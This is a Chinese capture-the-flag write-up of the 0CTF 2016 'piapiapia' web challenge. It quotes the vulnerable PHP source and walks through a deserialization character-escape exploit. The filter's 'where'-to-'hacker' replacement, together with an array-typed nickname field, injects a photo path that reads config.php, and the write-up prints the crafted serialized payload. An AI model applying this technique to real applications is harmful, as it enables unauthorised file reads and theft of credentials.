信息安全|[0CTF 2016]piapiapia 1

一开始没思路 到网上搜了一下 才想起来扫目录
这里给自己提醒下 以后没思路就抓包和扫目录
拿到源码:
信息安全|[0CTF 2016]piapiapia 1
文章图片

代码审计 是一个难题 对于目前的我 未来要加强这方面的能力


show_profile($username); if($profile== null) { header('Location: update.php'); } else { $profile = unserialize($profile); $phone = $profile['phone']; $email = $profile['email']; $nickname = $profile['nickname']; $photo = base64_encode(file_get_contents($profile['photo'])); ?>

注意到在profile页面里 有文件读取 file_get_contents函数 所以可以在这里想办法读取flag的文件
去看序列化的链子
信息安全|[0CTF 2016]piapiapia 1
文章图片

注意到 update里有序列化的地方,所以可以在这里进行序列化的构造
信息安全|[0CTF 2016]piapiapia 1
文章图片

先注册 注册完后登陆进来 然后到这个信息编辑页面 这里就需要用到burpsuite抓包 然后改文件要发过去的信息 来实现我们序列化的构造信息安全|[0CTF 2016]piapiapia 1
文章图片

这时候就抓到了 我们分析代码
class user extends mysql{ private $table = 'users'; public function show_profile($username) {\ // 存在过滤,关键字update被过滤,无法通过更新,修改photo路径 $username = parent::filter($username); // 存在字符替换,利用此方法可以进行字符逃逸反序列化 $where = "username = '$username'"; $object = parent::select($this->table, $where); return $object->profile; } public function update_profile($username, $new_profile) { $username = parent::filter($username); $new_profile = parent::filter($new_profile); $where = "username = '$username'"; return parent::update($this->table, 'profile', $new_profile, $where); } }

public function filter($string) { $escape = array('\'', '\\\\'); $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string); $safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); }

10) die('Invalid nickname'); move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name'])); $profile['phone'] = $_POST['phone']; $profile['email'] = $_POST['email']; $profile['nickname'] = $_POST['nickname']; $profile['photo'] = 'upload/' . md5($file['name']); $user->update_profile($username, serialize($profile)); ?>

每次上传的时候 会把序列化后的信息进行过滤 在filter函数中
这里就可以实现字符逃逸了
这里从where到hacker是5变6 存在一个字符逃逸 所以可以利用where来实现
构造序列化代码

a:4:{s:5:“phone”; s:11:“11111111111”; s:5:“email”; s:14:“2222222@xx.com”; s:8:“nickname”; s:7:“swaggyo”; s:5:“photo”; s:10:“config.php”; }
得到该序列化 这时候就开始构造字符逃逸
"; s:5:"photo"; s:10:"config.php"; }

需要逃逸部分为这段字符串 其长度为33 所以需要33个where

信息安全|[0CTF 2016]piapiapia 1
文章图片

成功逃逸了
但是在环境里 我反序列化一直在失败 看到网上人这里构造的是
"; }s:5:"photo"; s:10:"config.php"; }

原因是 原函数对nickname长度进行了限制
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10) die('Invalid nickname');

想要绕过 就将其改外nickname[]类型 但改成nickname[] 这里就需要一个}了
信息安全|[0CTF 2016]piapiapia 1
文章图片

信息安全|[0CTF 2016]piapiapia 1
文章图片

找到被base64的读出的config.php文件 解码
信息安全|[0CTF 2016]piapiapia 1
文章图片

补充:数组类型的序列化结果:

【信息安全|[0CTF 2016]piapiapia 1】O:3:“wzk”:2:{s:1:“a”; s:1:“1”; s:4:“cars”; a:3:{i:0; s:7:“porsche”; i:1; s:3:“BMW”; i:2; s:5:“Volvo”; }}
可以看到 数组内内容是被一组{}单独包裹起来的 所以我们在刚刚那里 需要一个}使得数组提前闭合 ,否则会出现错误。

    推荐阅读